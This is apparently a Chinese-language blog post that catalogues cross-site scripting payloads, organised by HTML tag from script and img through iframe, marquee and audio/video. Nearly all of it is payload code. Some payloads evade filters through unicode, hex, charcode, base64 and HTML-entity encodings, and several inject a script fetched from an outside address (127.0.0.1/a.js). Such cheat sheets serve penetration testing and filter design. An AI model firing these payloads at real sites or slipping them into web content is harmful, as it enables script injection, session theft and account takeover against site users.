之前整理的一些可以加载XSS Payload的标签,后面还会继续更新。

script标签

这个标签不用多说。

1
2
3
4
5
6
7
8
9
<script>alert(1)</script>
<script src="http://127.0.0.1/a.js"></script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>var x=eval;x(alert(1));</script>
<script>(1, 2, eval)(alert(1))</script>
<script>eval.call(null, 'alert(1)')</script>
<script>Mi1k7ea();function Mi1k7ea(){alert(1);}</script>

a标签

其实,利用到javascript伪协议的payload,可以不用添加引号。

1
2
3
4
5
6
<a href=javascript:alert(1)>Mi1k7ea</a>
<a href=javascript:confirm(1)>Mi1k7ea</a>
<a href=# onclick=alert(1)>Mi1k7ea</a>
<a href=# onmouseover=alert(1)>Mi1k7ea</a>
<a href=# onmouseout=alert(1)>Mi1k7ea</a>
//其他onmouse系列...

img标签

通常是触发onerror事件来执行js代码,当然也有其他事件可触发。

1
2
3
4
5
6
7
8
9
10
<img src=x onerror=alert(1)>
<img src="pain.jpg" onload=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onclick=alert(1)>
<img src="pain.jpg" onmouseout=alert(1)>
//其他onmouse系列...
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://127.0.0.1/a.js';>//alert被过滤
<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://127.0.0.1/a.js">
<img src=x onerror=eval("\x61\x6c\x65\x72\x74\x28\x31\x29")>
<img src=x onerror=eval("&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;")>

body标签

主要可利用onload、onpageshow等事件属性

1
2
3
4
<body onload=alert(1)>
<body/onload=alert(1)>
<body onpageshow=alert(1)>
<body/onpageshow=alert(1)>

svg标签

svg标签可以和onload组合进行利用:

1
2
3
4
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://127.0.0.1/a.js">
<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

form标签

form标签需要结合其中支持的标签和input标签才能成功触发。

1
2
3
4
5
6
7
8
9
//onmouse系列
<form onmouseout=alert(1)>
<input type="text">
</form>

//利用action
<form action=javascript:alert(1)>
<input type="submit">
</form>

input标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<input onclick=alert(1)>

//支持onmouse系列
<input onmouseout=alert(1)>

//改变输入框内容时触发
<input type="text" onchange=alert(1)>

//结合form标签使用formaction属性
<form><input type="submit" formaction="javascript:alert(1)"></form>
<form><input type="image" formaction="javascript:alert(1)"></form>

//通过Alt+Shift+自定义的字符(这里为M)触发,仅Firefox测试ok
<input type="hidden" accesskey="M" onclick=alert(1)>

style标签

style标签可以和onload组合进行利用:

1
<style onload=alert(1) />

iframe标签

主要利用src属性来构造。

1
2
3
4
5
6
7
8
9
<iframe src=javascript:alert(1)></iframe>
<iframe onmouseout=alert(1)></iframe>
//其他onmouse系列...
//base64加密内容为<script>alert(1)</script>
<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" />
//base64加密内容为<script src="http://127.0.0.1/a.js"></script>
<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvYS5qcyI+PC9zY3JpcHQ+" />
<iframe src="javascript&colon;alert&lpar;1&rpar;" />
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;" />//谷歌可弹

object标签

利用data伪协议。

1
2
3
4
//base64加密内容为<script>alert(1)</script>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" />
//base64加密内容为<script src="http://127.0.0.1/a.js"></script>
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvYS5qcyI+PC9zY3JpcHQ+" />

span标签

通过Alt+Shift+自定义的字符(这里为M)触发,仅Firefox测试ok。

1
<span accesskey="M" onclick=alert(1)></span>

marquee标签

Marquee 标签除了在web开发中有标签内容回滚作用之外,它还支持一系列的事件处理程序,因此可以用它来实现XSS Payload触发。Marquee支持的一系列事件处理程序如下:

onbounce事件:是在marquee标签中的内容滚动到上下或左右边界时触发的事件处理程序,该事件只有在marquee标签的behavior属性设为alternate时才有效;

onfinish事件:当 marquee 完成 loop 属性设置的值时触发。它只能在 loop 属性设置为大于 0 的某个数字时触发;

onstart事件: 当 marquee 标签内容开始滚动时触发。

1
2
3
<marquee behavior="alternate" onstart=alert(1)>Mi1k7ea</marquee>
<marquee loop="1" onfinish=alert(1)>Mi1k7ea</marquee>
<marquee onstart=alert(1)>Mi1k7ea</marquee>

Media类型标签

Media类型标签的src属性加上javascript伪协议并不能触发XSS Payload。

audio标签和video标签的以下属性可用于触发payload。

oncanplay: 在用户可以开始播放音视频(audio/video)时触发;

ondurationchange: 在音视频(audio/video)的时长发生变化时触发;

onended: 在音视频(audio/video)播放结束时触发;

onloadeddata: 在音视频数据帧加载时触发,也即在当前帧的数据加载完成且还没有足够的数据播放音视频(audio/video)的下一帧时触发;

onloadedmetadata: 在指定音视频(audio/video)的元数据(如分辨率和时长)加载后触发;

onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;

onprogress: 浏览器下载指定的音视频(audio/video)时触发;

onsuspend: 在浏览器读取音视频(audio/video)数据中止时触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//audio标签,对应MP3文件
<audio oncanplay="alert(1)" src="test.mp3" />
<audio ondurationchange="alert(1)" src="test.mp3" />
<audio autoplay="true" onended="alert(1)" src="test.mp3" />
<audio onloadeddata="alert(1)" src="test.mp3" />
<audio onloadedmetadata="alert(1)" src="test.mp3" />
<audio onloadstart="alert(1)" src="test.mp3" />
<audio onprogress="alert(1)" src="test.mp3" />
<audio onsuspend="alert(1)" src="test.mp3" />
<audio src=x onerror=javascript:alert(1) />

//video标签,对应MP4文件
<video oncanplay="alert(1)" src="test.mp4" />
<video ondurationchange="alert(1)" src="test.mp4" />
<video autoplay="true" onended="alert(1)" src="test.mp4" />
<video onloadeddata="alert(1)" src="test.mp4" />
<video onloadedmetadata="alert(1)" src="test.mp4" />
<video onloadstart="alert(1)" src="test.mp4" />
<video onprogress="alert(1)" src="test.mp4" />
<video onsuspend="alert(1)" src="test.mp4" />
<video src=x onerror=javascript:alert(1) />
<video src="test.mp4" onclick=alert(1) />

参考

他山之石 | 对 XSS 的一次深入分析认识

xss其他标签下的js用法总结大全